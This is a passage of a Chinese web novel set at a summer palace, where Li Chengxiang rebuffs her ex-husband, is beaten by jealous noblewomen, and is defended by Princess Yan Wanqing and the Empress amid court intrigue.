“我们谈谈好吗?” “跟你之前没有什么好谈的。”李呈祥神色冰冷:“你已经被我休了。” “……就不能再给我一次机会么?”吴城南面露痛苦之色。 李呈祥摇了摇头轻笑:“你跟李呈媛滚在一起的时候,可有想过给我机会?吴城南,是你的所作所为将我的回头路堵死了,现在竟然还来跟我要机会……你配吗!” “我知道我不配。”吴城南叹息:“可是呈祥,我忘不了你,与你分开的这几个月,我茶饭不思,脑子里想的念的都是你,别的女子在我眼里形同一张白纸,我真的忘不了你,太痛苦了。” “那是你的事情。”李呈祥用力甩开他的手,抬脚往回走。 吴城南见状上前走了几步,伸出手拦住了她的去路。 “求你,跟我好好谈谈。” 李呈祥见他这般作为,有些生气:“以前怎么没有发现你这般泼皮无赖呢。” “只要你能够跟我谈谈,我做什么都愿意,求你给我这次机会吧。”吴城南眼瞅着有戏,眼中闪烁着光亮。 李呈祥重重的叹了一口气:“行吧,你说吧究竟想要干什么。” “我们能不能——” “做梦。”李呈祥直接打断,她冷着脸:“如果你是要说这件事情,那么我们之间没有什么好谈的,你我根本不可能重新开始。” 她看着吴城南受伤的表情,不为所动。 “我李呈祥不需要你这样污浊男子的喜欢。” 吴城南眼里的光灭了一半,但是他还心存侥幸:“我打听过了,后面的求娶你都给回绝了,定是心中忘不了我……呈祥,你给我一次机会,我保证以后好好跟你过日子。” “机会给不了,给你两大嘴巴子还是可以的。”李呈祥见他如此不要脸,抬起来手。 谁料吴城南不但不躲,反而是将脸凑了过来。 “要是能够让你消气,你便打我吧!” 李呈祥气急:“你——” “你舍不得是不是?”吴城南见巴掌迟迟没有落下来,心中一喜笑道:“我就知道,你的心里还是有我的。” 第一百三十五章 再动一下,便不客气 “吴城南你不要胡搅蛮缠,你现在的样子在我眼里十分可笑,你还有一丝文人士大夫的骨气,现在扭头就走,我还能高看你一眼。”李呈祥言辞冰冷的说道。 吴城南不为所动:“我不走你是打是骂我都不走,只要你能消气,我做什么都愿意。” “你可不要说胡话,当真是我让你做什么你都愿意?” “自然是的。”吴城南十分确定的说道。 李呈祥指着山下:“那你从这里跳下去,只要你不死,我便给你一个机会。”她心中想的是,吴城南这种贪生怕死的人,怎么可能会因为她的一句话就跳崖。 谁曾想到话音刚落,李呈祥便看见身边一道影子闪过,那吴城南当真是闭上了双眼往地上一滚,顺着山坡一路滚了下去! 这下可吓坏了李呈祥。 她赶紧顺着台阶往下,追着滚落的吴城南过去。 只是他越滚越快,越滚越快,眼看着就要撞上一个树桩,突然被一道树藤给拽住,只看见燕晚清一只手拽着树藤,一只手拽着树,显然这树藤是她刚从树上扯下来的。 吴城南滚得头晕眼花,突然被树藤给裹住了,整个人也已经神志不清。 李呈祥跑过去摸了摸他的气息:“没死。” 她立刻将怀中的人丢在了草木之中。 燕晚清见状勾唇一笑:“你们玩的还挺激烈的。” 李呈祥被这话说的脸一红,又想到燕晚清救了吴城南,她便开口感谢。 燕晚清摆了摆手:“小事。”她本来是走了的,但是听到有人惊呼,便回头看了一眼,这才有了刚才那一幕。 想到前世吴城南终身未娶,她心中对他又有了几分改观。 说他深情又有些滥情,但是滥情之下又有几分真心,当真是让人看不太懂。 不过这件事情跟她也没有关系。 燕晚清喊来了人帮忙把吴城南抬走了,此时夜色真的深沉下来,山涧也有些发冷了,她和李呈祥分开之后便回到了自己的院子,洗漱一番后早早的睡下。 那边李呈祥躺在床榻上左翻也睡不着,右翻也睡不着,脑海中都是吴城南听自己的话,从山崖上滚下去的画面。 知道现在他怎么样了。 身上伤的如何……可有人为他治疗。 李呈祥掀开被子坐直了身子,她下榻从包袱之中拿了几瓶药。 身边的丫鬟迷迷糊糊地问她干嘛去。 李呈祥只说让她继续睡觉,自己一个人打开了门走了出去。 她一路寻找着吴城南的住处,却没有想到在门口遇见了一位看起来十分仙风道骨的男子。 柴右一看见李呈祥便认出来了。 “吴兄此时在屋内,还没有歇息。”柴右补充的说道。 李呈祥小脸一红,欠了欠身子:“多谢。” 柴右点了点头转身去了自己的屋子。 那吴城南听见门口传来声音,于是他高声喊道:“柴先生是你吗?你在和谁说话啊,柴先生?喂……柴右,我渴了你能给我倒杯水吗?” 李呈祥听到他的说话声推门而入:“吵死人了,快闭嘴。” 吴城南做梦都没有想到能在这里看见李呈祥,心中一惊喜喊道:“娘子,你是来看我的吗?娘子。” “谁是你娘子?”李呈祥背过身去将门关好,俏脸微寒:“你这样的人怎么会有娘子。” 吴城南心中欣喜,面上也带着笑意:“我不管你就是我娘子,我吴城南这辈子只认你一个人当我娘子。” 李呈祥白了他一眼,从袖口中取出药罐来,放在了桌子上。 “诺,给你的。” 吴城南见她惜字如金,却愿意大晚上跑过来给自己送药,心中早已经软得一塌糊涂。 “娘子……”吴城南哽咽:“你对我真的好好啊,我不是人,我之前那么对你,你现在还愿意给我送药,天底下怎么会有你这样善良的人啊。” 李呈祥一点不想提到以前的事情,再听见吴城南说出这样的话,她心中只觉得酸涩不已。 低低的叹了一口气说道:“可是你最终依然选择背叛了我。” 说到这个,吴城南面露苦涩:“能不能不要提这个?我不想听到这些,我身上还有伤,你能不能心疼心疼我说点我想听的。” 李呈祥摇了摇头:“不能。” 说着她起身就要走。 吴城南一把抓住她的袖子说道:“求你别走,不要把我一个人丢在这里,你今天答应我了,生活若是能够从山崖上滚下去,你便答应给我一个机会,这句话还作数吗?” 李呈祥看了他一眼没有说话。 吴城南眼中的光亮彻底熄灭,他自顾自的嘲讽笑道:“我知道了,你是在骗我。你根本不会给我机会,哪怕我死在你的面前,你也不会回头是不是?” 李呈祥皱着眉头:“说什么死不死,晦气。” 吴城南却神情悲伤地说道:“你不愿意给我机会,那我的死活又跟你有什么关系呢?” 李呈祥看见他重重的往床榻上一躺,药也不打算上了,直接蹙眉。 “吴城南你不是小孩子了,你不要闹小孩子脾气好不好?起来把药涂上。” 吴城南直接背过身去。 李呈祥因为他这一举动直接火冒三丈,她上前一把掀开他的被褥:“好话不听你非要动手是不是?” 只是掀开被褥,她才发现吴城南被褥之下不着寸缕,羞的她当场红了脸。 吴城南本来是脸红的,但是看到她脸红,又起了逗弄的心思。 “你脸红什么?又不是没有见过。” 李呈祥将被褥给他重新盖好:“不知羞耻的东西,为什么不穿衣服?” 吴城南心中冤枉,十分委屈的说道:“我也不知道你会突然掀我的被子呀,再说这是我的房间,我想穿衣服就穿,不想穿衣服我就不穿。” “泼皮无赖,不管你了。”李呈祥红的耳坠都几欲滴血,她转过身去教,朝着门口走去。 谁料身后被吴城南一把抱住,直接拉倒在榻上。 只听见他在自己的脖颈处喘息道。 “娘子,我好想你啊。” 说着大手便开始四处乱摸起来。 李呈祥气不打一处来:“你再动我一下,我便不客气了。” 第一百三十六章 小树林,野鸳鸯 “娘子想怎么不客气,为夫都心甘情愿的受着,求娘子对我不客气。”吴城南说着孟浪的话语,便伸出手去扯李呈祥的衣服。 李呈祥再也不愿意给他好脸色,抬起手便狠狠地给了他一巴掌。 直接将吴城南给打蒙了过去。 他捂着脸,十分委屈:“你打我!” “打你怎么了?”李呈祥坐在榻上整理自己的衣服。 “我是病人,你怎么能够打我呢娘子。” “没瞧见你这么生龙活虎的病人。”李呈祥冷笑着。 吴城南委屈巴巴的上前,又想要抱住李呈祥,被她一把推开,只能可怜兮兮的坐在一边:“实在是太想念娘子了,你身上的味道时时刻刻都在勾我的魂。” “吴城南!”李呈祥冷声喊道。 “在!” 她从榻上起来,看着吴城南的模样,此时心里已经是十分难受:“我们已经结束了,希望你以后能尊重我,不要把我当做是勾栏院的女子,轻易就能被你玩弄的那种……可以么?” “不,不是的。”吴城南没有想到弄巧成拙。 此时李呈祥已经头也不回的转身离开。 吴城南从榻上下来,疼的直抽抽,只能重新缩回了榻上,眼睁睁的看着人走了。 李呈祥一路小跑,泪水顺着脸颊往下淌,直到坐在水池边上,她才忍不住呜咽出声。 “混蛋!”她想到刚刚发生的一切就觉得心中委屈。 她就不该发善心,怕他死了,亲自过去给他送药。 这种人直接死了也是为民除害了。 “别哭了。”突然传来一道男子的声音,李呈祥吓了一跳:“谁?!” “你吵到我睡觉了。”水池边上一块石头上面竟然躺着个人,不是别人,正好是刚刚门口遇见的柴右。 李呈祥有些局促:“不好意思啊,柴先生。” 柴右起身,走到李呈祥的面前,他穿着一身道家的衣服,此刻散落着长发,看起来有些邋遢和无拘无束。 “给。”柴右从怀中掏出一块帕子。 李呈祥不好意思的接在了手中,擦了擦脸颊的泪水。 帕子上都是皂角的香气,还留有主人的余温。 “谢谢柴先生。” 面对李呈祥的客气,柴右揉了揉眼角,毫不客气的打了个哈欠。 “吴城南没说谎,自从与你分开之后,他日思夜想的都是你,一点都没有出去鬼混。” 李呈祥听到柴右说起李呈祥,有些不乐意听了。 “柴先生若是说客,便不用再说了。”她冷着脸:“我和他之间,溪水倒流那天都不可能。” 柴右见状轻笑:“就这么绝情?” “未经他人苦,莫劝他人善。”李呈祥看着柴右不客气的说道。 柴右重复着她的话:“好一个未经他人苦,莫劝他人善。” 他扭过头看向李呈祥:“我确实不知道你们之间发生了什么,也不是很感兴趣,只是夜色深了,李大小姐应该回去休息,这里是我睡觉的地方。” 李呈祥见他开始赶人,面色有些讪讪:“那便不打扰你休息了,帕子我明日洗干净还你。”说完李呈祥便离开了。 柴右又打了个哈欠,眼中都是泪花,他靠着石头迷上了双眼。 李呈祥一边往回走一边觉得柴油真的很奇怪。 怎么会有人喜欢睡在外面呢。 难道他就不怕外面的那些毒蛇虫蚁么? 李呈祥觉得不可思议,但是这也和她没什么关系,柴右喜欢待在外面便让他呆着吧。 反正这些毒蛇虫蚁咬的也不是她。 李呈祥往自己的院子走去,但是就在她靠近院子的时候,她听见隔壁的小树林里传来浓重的喘息声。 李呈祥早就不是不谙世事的少女了。 一下子就听出了这是什么声音。 她本来无意打扰这深夜里的野鸳鸯,更何况避暑山庄的人非富即贵,随便哪个都不是她小小李家能够招惹的。 就在她放轻脚步朝着自己院子走去的时候,只听见女主突然高昂的喊出一声。 “殿下——呜!” 女子的嘴被捂住了,听不到后面的声音。 但是李呈祥也知道树林子里的是个皇子了。 这下就更加不能招惹了。 李呈祥咽了咽紧张的口水,直接进了屋子,然后悄悄合上了门。 这件事情她不知道,跟她没有任何关系,她什么都没有看见。 心中默念三声,李呈祥给自己洗脑结束,然后安心的闭上了双眼。 至于树林子的野鸳鸯,想怎么玩都跟她没有任何关系。 这一夜就这么安然无恙的过去了。 次日清晨,燕晚清难得睡了个懒觉,燕凌珍和燕红昭本就是有自己安排的人,一早便各忙各的去了。 等到她起身的时候,从歌已经将早膳端了过来。 用完了早膳,燕晚清照例是要去给皇后娘娘请安的。 寻常在京都不需要这般,但是眼下避暑山庄,有些规矩是需要守的。 燕晚清带着从歌便往张岚依的寝宫里过去,一路上遇到了不少官宦家的子女。 “郡主晨安。”李呈祥远远的看见燕晚清,便快步走了上来,到了她的身侧。 燕晚清冲着她弯了弯眉眼。 这一幕落在其他人的眼中便有些刺眼了。 那李家能够出现在这次避暑山庄之行里,肯定是存着什么不可告人的事情。 再加上那李家三小姐的行事作风,早就在官家小姐里留下了不好的名声。 眼下再看李呈祥凑到燕晚清边上,她们便更加瞧不上了。 只觉得李家都是谄媚之徒。 李呈祥不知道别人怎么想的,她跟着燕晚清很开心。 皇后张岚依接见了各家小姐,最后留下了燕晚清。 燕晚清看着李呈祥说道:“你可愿意等本郡主一会儿?” 李呈祥自然是愿意的,她本来就没有什么事情可做。 于是她乖巧的站在外面等候。 落了单的她很快被贵女们围成了一圈。 李呈祥看着来者不善的她们,有些担忧:“你们这是什么意思?” 贵女们看着她身上穿的衣服还是今年上半年的老款,又见她一副微微发胖的样子,笑道:“李呈媛那般狐媚子的女子,竟然有这种憨憨的姐姐,实在是没有想到。” “模样倒是不重要,巴结人的样子跟李呈媛一模一样,你们瞧见她在安平郡主面前瞻前马后的模样没?像极了一条狗啊呵呵……” 第一百三十七章 肃清朝野,正正家风 李呈祥被推搡着直接撞到了石狮子上面,只觉得腰窝后面钻心的一阵疼之后,面前的几个官家小姐再次凑上前来。 “……嘶。”她疼的抽气道:“李呈媛招惹的你们,你们找她算账去便是,为何拿我撒气!” 为首的小姐听罢又是一阵娇笑,身边的同伴也跟着后面笑,听着十分的吵闹。 “谁叫你是李呈媛的姐姐,本小姐找不到李呈媛那个贱人,自然也就只能找你了。” 李呈祥听罢,咬着后槽牙:“这算什么?她做错的事情,凭什么要我来承担?我与她之间的事情在京都早就不是什么秘密了,谁都知道我们姐妹二人不和,你们今日找我,到底是要她出气,还是替她找我出气?” 这话一说出来,为首的明显脸上闪过一丝错愕,但是很快被她收敛住,只见她凶神恶样的说道:“跟你说那么多废话干什么,反正谁叫你是那贱人的姐姐,今日被我们遇上了,就算你倒霉!姐妹们,打!” 说着那些女子撕扯上来,李呈祥哪里是她们的对手,本来仗着自己也有一些力气,能够推到几个女子,但是很快挨不住人多势众,被她们推倒在地上,你一拳我一脚的落在她的身上,李呈祥只能双手抱住头,咬着牙死命抗住,感觉到自己快要窒息的时候,只听见一声怒斥。 “住手!” 她恍惚中似乎看到了之前在烟花巷和三个地痞手中救走自己的小哥。 “……恩人?”你又来救我了…… 李呈祥朝着前面伸出手,然后瞬间被黑暗侵袭。 燕晚清蹲在她的身前,伸出手叹了一下气息。 还活着。 她心中松了一口气。 再看见李呈祥身上的脚印,还有原本圆润可爱的脸上此刻鼻青脸肿都是伤,地上还有不少血渍,当下冷了脸。 “你们干的?”燕晚清看向那几个逞凶的女子。 那几个女子面上苍白,往后退几步,有的甚至还想跑。 “郡主问你们话呢,都哑巴了是么?本宫倒要看看今日到底都是哪家的姑娘,这么大的胆子,敢在本宫的寝宫外面大肆出手。” 张岚依从门内走了出来,她斜眼扫了一下几个守在门外低着头的宫女,唇角勾起一抹冷笑。 那群宫女瞬间悉数全部跪在了地上。 “等会儿再收拾你们,一群吃里扒外的东西。”说罢,张岚依抬脚朝着燕晚清那边走,等凑近看清楚李呈祥的伤势后,她忍不住捂住了红唇:“伤的这么重呢。” “愣着干什么?把人抬进去,喊太医过来。” 宫人赶紧从地上爬起来过来将李呈祥抬了进去,张岚依盯着燕晚清一脸冰霜的模样,眼中闪过了诧异。 还是第一次看见她这般情绪外露,看来那姑娘和她的关系匪浅。 张岚依看着那一群唯唯诺诺挤在一起像是鹌鹑的姑娘们,眯了眯眼睛。 这些姑娘也真是大胆,敢在自己的宫门前行凶。 这也无形中表明自己在朝中大臣心中的威信下降了。 那得做点什么,提高自己的威信啊…… 张岚依心中思忖着,便看见燕晚清直勾勾的走到了那群姑娘面前,二话不说直接给了为首最嚣张的那姑娘一巴掌! “啪——!” 听得张岚依眼皮子都打了个颤。 那姑娘捂着脸,简直不敢相信自己竟然是被安平郡主给打了。 平日里大家都说这位郡主性子冷得很,从来不跟人结仇。 “郡主……你打我?”那姑娘捂着脸,颤抖着嘴唇说道。 燕晚清揉着手腕,看向她:“打你了,如何?” “你——”姑娘咬住嘴唇:“我父亲可是尚书,安平郡主打了我,这件事情我父亲不会善罢甘休的!” “在此之前,不如请尚书大人跟皇后娘娘解释一下,为什么他的宝贝女儿会在行宫面前公然闹事?”燕晚清压着声音:“怎么样?” 姑娘咬咬牙,松开了手,直接走到了张岚依面前,双膝跪地。 “请娘娘恕罪。” 她本就是找李呈祥麻烦,又见门外宫人无人管,所以这才胆子大了些许。 燕晚清说的没错,她根本无法承受在行宫面前行凶被皇后娘娘当场撞破的结果……所以今日这一巴掌她只能自己咽下去。 “不够。”皇后还没开口说话,燕晚清轻轻的开口道,她指着门内的方向:“李呈祥被你们群殴至昏迷,这件事情没这么简单过去。” “那郡主想要如何!”姑娘咬着牙,双眸浸润在毒汁里。 燕晚清闻言环顾了剩下的几个姑娘,一共四个人。 “本郡主也不是不讲道理的人,这件事情的最终受害人是李家大小姐,你们就在这里跪着等到她醒为止,再听她要如何处理你们。” “哦对了。”她突然想到什么:“要是让本郡主看见你们谁的丫鬟拿出来垫子之类的,那么这件事情本郡主便直接告到陛下面前去,你们也知道本郡主别的本事没有,宫门口敲登闻鼓的事情,一回生二回熟。” 四个姑娘听罢直接吓哭出声儿来。 燕晚清看都懒得看她们一眼,径直走到了行宫里面。 殿内,太医正在给李呈祥医治,等瓶瓶罐罐都悉数放在了案几上,交代好宫女们如何涂抹后,太医便退下了。 宫女们褪去了李呈祥身上的衣服,纷纷倒吸一口凉气。 只看见她的身上青青紫紫纵横交叠,原本白嫩的皮肤此刻完全不能看了。 “真是一群心狠手辣的,好好的一个姑娘,怎么给打成了这样!”皇后张岚依忍不住骂道。 燕晚清半敛着双眸,声音不疾不徐:“不如就趁着这个机会,娘娘约见一下这几位大人的夫人,告诉她们这几个姑娘在殿前所为,替她们正正家风。” 说这话的时候,她的双眸都讳莫如深,张岚依发现自从登闻鼓的事情过后,眼前这个小狼崽子是越发捉摸不透了。 “这件事情和刚刚跟娘娘谈的事情,可以放在一起处理。”燕晚清开口道:“刚好趁这个机会肃清一下对我们不利的存在。” 从这群朝堂之上的蛀虫开始下手,这样,她松鹤堂的人才们才有机会在朝堂之上发光发亮啊。 “醒了,娘娘郡主,李家姑娘醒了!”宫女们欣喜的说道。 第一百三十八章 跟在郡主身边,求成全 见李呈祥醒了,燕晚清便不再开口说话了。 李呈祥睁开眼睛,就看见皇后和燕晚清后,立刻挣扎着要从贵妃榻上起身,被燕晚清一把给摁住了。 “躺好,还没擦完药。” 李呈祥眼中都是泪水,她点了点头,哽咽着躺好让身边的宫女给她继续擦药了。 至于门外的姑娘,听不见里面的声音,顶着烈日跪在外面,很快便有人体力不支开始摇摇晃晃。 有的更是直接双眼一翻,倒在了地上。 被皇后身边的太监公公看见了,他眼皮子都不抬一下,直接让宫女到屋内去了一壶茶水,对着那晕了过去的姑娘脸上开始浇下去,茶水刚浇在脸上,姑娘便尖叫着睁开了眼睛。 公公一看便知是装的了。 他冷笑一声,让人去取了一盆水放在边上。 “把心里的那点花花肠子都收收,皇后娘娘没有说让你们回去,今日便是跪死在这儿,就地给你们埋了,你们也是回不去的。” 就这么简单的一下,姑娘们只能老老实实的在烈日之下跪着了,哪怕是被日头晒得皮开肉绽,也只能忍着。 公公站在阴凉处瞧着她们几个老实了,心中冷笑不止。 在宫里这么多年,他也不是白混的,几个黄毛丫头,欺负欺负那李家千金是绰绰有余,但是这点招数闹到他的跟前,是完全不够看的。 消息很快传到了各家夫人的耳朵里,她们几个一听自家姑娘跪在了皇后娘娘的寝宫外面,也顾不得休憩了,几个人凑到一块赶紧往这边赶。 殿内,李呈祥擦了药,宫人们拿了新的衣服放在边上,但是燕晚清没让她赶紧换上,而是看了看外面的日头,缓缓的放下了手中的茶水,对着正在吃荔枝的张岚依说道。 “是时候了。” 张岚依吐掉口中的荔枝核,宫人便用帕子替她擦拭掉唇上的汁水,她顺手扶了扶发髻上的扶摇:“行了,让外面那群姑娘都进来吧。” 宫人搀扶着四个头晕眼花的姑娘进了殿内,紧接着外面便传来宫人的声音,说是各家的夫人已经到了。 张岚依慢条斯理的和燕晚清对视了一眼:“让他们进来吧。” 宫人传唤各位夫人进来,为首的夫人一身翠绿色的罗裙,模样十分的年轻,和其他的夫人格格不入。 燕晚清一眼便认出来,这是尚书家刚刚续弦的夫人,年轻貌美,还出身名门世家。 那夫人进来先是看了一眼自己的继女,然后落落大方的走到了皇后娘娘面前行礼,其他夫人见状也收敛了自己的心思,先行了礼。 行完了礼,皇后也不说话,自顾自的品茶。 太傅夫人见话茬打不开,便将目光投向了燕晚清,笑道:“妾身见过安平郡主。” 燕晚清浅浅勾唇回以一笑:“尚书夫人有礼,诸位夫人请落座吧,今日颇为炎热,喝点清凉解渴的荷叶茶吧。”将她要说的话给掀过去了。 宫人们将茶水送上来,夫人们眼观鼻鼻观心,各个都是人精,不肯先开口说话。 这个时候皇后缓缓放下了杯盏。 诸位夫人见状也立刻放下。 “现如今北方战事不断,陛下忧心忡忡,多亏是诸位大人在朝中力挽狂澜,才能够稳定局势。”燕晚清突然环顾众人说道:“国有国法,家有家规,没有规矩不成方圆,这句话诸位心中应该清楚明白,眼下朝堂动荡,内忧外患,却在本宫的寝宫外面发生了这种事情,这件事若是被有心人捅到了陛下的耳朵里——” 这话一出,四位夫人的脸色都跟着苍白了几分。 能够在皇后寝宫外面斗殴,分明是不把皇后放在眼里。 她们纷纷离坐跪了下来,四个贵女更是仓皇失措,直接跪在地上失声痛哭起来:“皇后娘娘饶命……” 燕晚清敛住眼底的情绪,继续说道:“皇后娘娘宅心仁厚,可这件事情实在是有点……” 四位夫人自然是知道这件事的严重性的,倘若真的是被闹到了陛下跟前,那可是藐视皇权的大事,不说官职保不住,可能全家老小的性命都会留不住。 当下对于自己女儿的鲁莽怨恨起来。 那尚书夫人更是不用说,刚刚嫁过来还没多久,就遇到了这件事情,听说这事还是她们家丫头带的头,若是论谁事儿大,他们一家当是主责。 这样想着她额头上开始冒出密密的冷汗。 “不过这件事情也不是没有转机——”燕晚清见状,迎着众人希冀的目光,再次缓缓开口。 这一日,直到落日西斜,诸位夫人才带着自家的小姐出了皇后的宫门,每个人脸上都是忧心忡忡的模样。 燕晚清倒了一杯水递给床榻上的李呈祥,面无表情:“你都听到了吧。” 李呈祥点了点头。 燕晚清将水杯递了过去:“今天的事情利用了你,本郡主可以答应你一件事情。” “这算是郡主的补偿吗?”李呈祥看着水杯,没有接,端着水杯的手白皙纤细,宛若上好的白玉,哪怕只是一小节露出来的皓腕都足以证明主人的倾国倾城。 安平郡主,燕家的嫡小姐,敢孤身一人敲登闻鼓,过刀山火海告御状……果真不是凡人。 李呈祥舔了舔有些干裂的唇角。 她用力撑起身子,用双手接过了水杯。 “那这件事情,小女现在就想提。” 燕晚清深深的看了她一眼:“说吧。” “小女想跟在郡主身边,当郡主的婢女。”李呈祥突然开口道。 燕晚清蹙眉,她没有第一时间斥责这件事情的荒唐,只是问她:“本郡主想问一句,为什么?你乃是李大人的嫡长女,家中事宜都是你一手包揽,为何会提出这种要求。” “小女有一手赚钱的本事,能够自己养活自己,只求跟在郡主身边,求郡主成全!”李呈祥双眼闪烁着倔强的光芒。 经过今天的这件事情,她根本不愿意再回到家中。 更加不愿意再去依附任何一个男子。 她想,她想…… 李呈祥双手死死的捧住水杯,感受着隔着杯子传来的凉意,她深呼吸一口气道:“小女想跟在郡主身边,学习女子如何安身立命,想跟这世道争一个……公道。” 燕晚清很聪明,结合小六之前跟她说的李家的事情,一下子就明白了发生了什么事情。 她轻叹一口气。 “你可知,朝堂诡谲,稍有不慎便会头首分离?” 李呈祥坚定的点头:“求郡主收留!” “你……”燕晚清轻叹一口气:“本郡主知你在李家过得不舒坦,可以帮你解决的——” 李呈祥有些着急,她放下水杯,直接抓住燕晚清的袖子。 “小女只想跟在君主身边,小女并非一无是处的,郡主可以把小女放进金钱豹里面……”李呈祥一说出口,突然噤声。 燕晚清挑眉看她。 第一百三十九章 我的身边,不适合你 “嗯?” 清冷的女郎上挑好看的眉梢,眉尾却是说不尽的肃杀。 李呈祥被看的心咯噔一下。 她背后开始冒出密密的冷汗。 “郡、郡主……” 那日她去铺子里查账,刚好就看见了燕晚清一身便装走进了金钱豹,平日里鼻孔长在天上的门房那天跟个孙子似的瞻前马后,李呈祥便壮着胆子猜测了一下。 今日说出来也无非是想要和安平郡主证明一下自己不是无用之人。 燕晚清看着李呈祥可怜兮兮的看着自己,满眼都是希冀,最终还是叹了一口气。 “你不会知道我正在走一条怎样的路,你若是知道,定然不会说出这般请求。” “李家对你来说可能不是一个好归宿,但是我的身边充斥着牛鬼蛇神,更加不适合你。” 这样便是拒绝了。 李呈祥眼中的光芒暗淡了几分。 她低下了头。 声音晦涩:“……好。” 燕晚清以为她放弃了要待在自己身边的想法,但是熟不知,从这一日开始,李呈祥这个丫头就像是吃了秤砣铁了心,自己走到哪里她便跟到哪里,再加上那吴城南整日跟着她,自己身后便总是跟着两个尾巴。 吴城南是七皇子的人,她和皇后走的很近,所以被不少大臣们看见了,都以为皇后现在开始支持上了七皇子萧鸿深。 一时之间避暑山庄里风云变幻,有不少臣子都开始倒戈到了萧鸿深的门下。 萧鸿深对此乐见其成。 燕晚清对于这种现状没有加以制止,她收到了青姨给她的飞鸽传书。 信笺里明确表示雁门关有异,与她父兄们的死息息相关。 “小姐,陛下的流水宴要开始了。”从歌在外面轻轻的说道。 燕晚清将信笺放在火烛上燃烧殆尽,应了一声:“知道了。” 瞳孔中倒映着旺盛燃烧的火烛,她情不自禁的捻了捻指腹。 雁门关她是一定要去的,而且迫在眉睫,这场大戏她要好好思量一番。 从歌帮燕晚清换了衣服,主仆二人刚出院子门,便看见一个姑娘俏生生的立在树下面。 从歌便低声说道:“李家姑娘又来了。” 燕晚清看着李呈祥双眼亮晶晶的盯着自己,她心中也有些颇为无奈。 “便让她跟着过来吧。” 李呈祥见燕晚清冲着自己点了点头,心中一喜,赶紧跟了上来,行了个礼便没有再开口说话了,一行人缓缓行知了山庄的流水宴上。 远远的看去,便能看见山雾缭绕间,一湍溪流清澈见底,从山间流淌而下,宫娥们手持佳酿穿梭在士大夫当中,歌舞升平,一派人间仙境。 燕晚清眯着眼睛远远的看过去。 前方战乱不止,百姓民不聊生,就连施粥也是各家夫人自发准备的,朝廷事到如今没有半点所出,所有的钱财珠宝都被皇帝拿去讨好了宋化虚,去买那些所谓的能够延年益寿,让他永保长生的奇珍异宝。 实在是…… “……实在是太劳民伤财了。”突然身边有一道声音将自己心里的话说了出来,燕晚清挑眉看向了说话人。 李呈祥也意识到自己说错了话,赶紧用手捂住了嘴。 “李大小姐,谨言慎行。”见燕晚清没说话,从歌沉静的开口了。 李呈祥吐了吐舌头,乖巧的站在了后面不再说话了。 见燕晚清往前走了,她便赶紧跟了上去,似乎只有跟在这个人的身后,才有安全感。 刚走没几步,燕晚清便被一人给挡住了去路。 那人不是别人,正是李呈祥的三妹妹李呈媛。 看着姐妹俩还有一些相似的五官,但是周身气质却是翻天覆地的变化。 李呈祥整体给人比较端庄干练的状态,但是李呈媛就有点不伦不类了。 燕晚清看着她穿着罗裙,双肩却似有若无的露了出来,宛若一条兴奋的美女蛇,宛若烟花巷下等女子的存在。 “见过安平郡主。”李呈媛行了个不太标准的礼,然后余光看到了燕晚清身后的李呈祥:“姐姐,好久不见啊。” 李呈祥一看见李呈媛,脸色就白了好几分。 见到她这样,李呈媛脸上的笑意忍不住深了几分。 “姐姐这些天都去哪儿了?看不到姐姐,让妹妹好生想念呢。”李呈媛靠了过去,李呈祥吓得赶紧往燕晚清身边躲,那一日被殴打的一幕浮现在她的眼前,手脚已经忍不住开始犯冷,一个不慎瘫软下去,得亏是从歌眼疾手快拉住了她。 李呈媛见她这般,用帕子捂着唇娇嗔的笑出了声。 “姐姐,妹妹又不是什么吃人的老虎,你这样在郡主面前可是失礼了呢。” 李呈祥看着她,嘴唇忍不住开始颤抖。 蓦地,自己的手被抓住,温暖的触感传过来,李呈祥低头去看。 是郡主。 郡主竟然抓住了她的手。 燕晚清拉着李呈祥重新站好,然后轻描淡写的将目光扫到了李呈媛身上。 “本郡主记得你。”她说道。 李呈媛一听安平郡主竟然记得自己,忍不住笑道:“那实在是小女的荣……”幸字还没有说出口,就听见燕晚清又开口。 “就是你伤了五妹。” 李呈媛面色不如刚刚那般灿烂了。 “郡主恕罪,那都是一场误会……” 燕晚清勾唇轻笑:“你说误会便是误会了?” 语气竟然开始有些咄咄逼人。 这时不少人将目光投在此处。 李呈媛转动双眸,瞬间眼眶湿润起来,她露出一副楚楚可怜的模样:“小女罪无可恕,伤了燕六小姐,只是演眼下是陛下举办的流水宴,郡主若是要问责于小女,也该等到宴会结束,到时候任凭郡主处置。” 燕晚清看着她拙劣的表演,刚要开口,便看见远处走来一颀长身影,一身绛紫色的长袍,面冠如玉,唇红齿白,眉眼风情,整个人看起来意气风发,可不就是最近春风得意的七皇子萧鸿深么。 萧鸿深远远的便看见了燕晚清。 看着她多日不见,越发明艳动人,他的眼底都是藏不住的毒意。 “这是怎么了?”萧鸿深话对着李呈媛说道,目光却依旧落在了燕晚清身上。 李呈媛一看见萧鸿深过来了,娇滴滴靠过去说道:“殿下快帮帮小女,小女惹郡主生气了。” 第一百四十章 这一巴掌,还算轻的 “哦?”萧鸿深感兴趣的抬头,目光灼灼,充满了攻略性:“说来听听。” 李呈媛刚要开口,一直躲在燕晚清身后的李呈祥急了,她赶紧开口说道:“回禀七皇子殿下,刚才的一切都是误会,这一切都是三妹她——” “你是何人?”萧鸿深皱眉不耐的抬手打断李呈祥的话:“这般无礼,本殿问的是她。” 李呈祥瞬间面色苍白,她停住了嘴不敢再说话。 李呈媛见状,眼里都是藏不住的得意洋洋,她扫了一眼李呈祥,无奈的开口道:“殿下勿怪,这位是小女的阿姐,她第一次接触这么大的场合,不是很懂礼数。” 这番话听得李呈祥捏紧了双手,完全忘记自己的另一只手被燕晚清抓着,这一下子直接将自己的情绪给传达出去了,她心中更加难受了。 谁承想手的另一端,温暖柔软的力度轻轻的回握了她一下。 紧接着便听见燕晚清清冷的嗓音响起。 “礼数?平白污蔑嫡姐,便是你的礼数?” 谁都没有想到她会直接开口替李呈祥回怼过去。 就连萧鸿深都听完愣了一下,深深的看了一眼她身后的李呈祥一眼。 李呈媛眼中闪过的嫉恨,她眼眶中迅速积聚了泪水,说道:“都是小女的错,郡主勿怪,这一切都和阿姐无关,气大伤身,七皇子殿下快宽慰一下郡主,千万不能再让她生气影响到贵体。” 看似字字都在替她们考虑,但是连贯在一起听在耳朵里又是那么的不对味道。 “本郡主生气与否,和七皇子又有何干系?事情是李三小姐引起的,按照李三小姐的意思是要七皇子帮忙主持公道是么?”燕晚清抬眼看向了萧鸿深,眼里都是冰冷。 萧鸿深迅速就想到了那天宫墙之内,他从轿撵上掀开帘子,看到了一身白衣,却步步生出血莲的燕晚清。 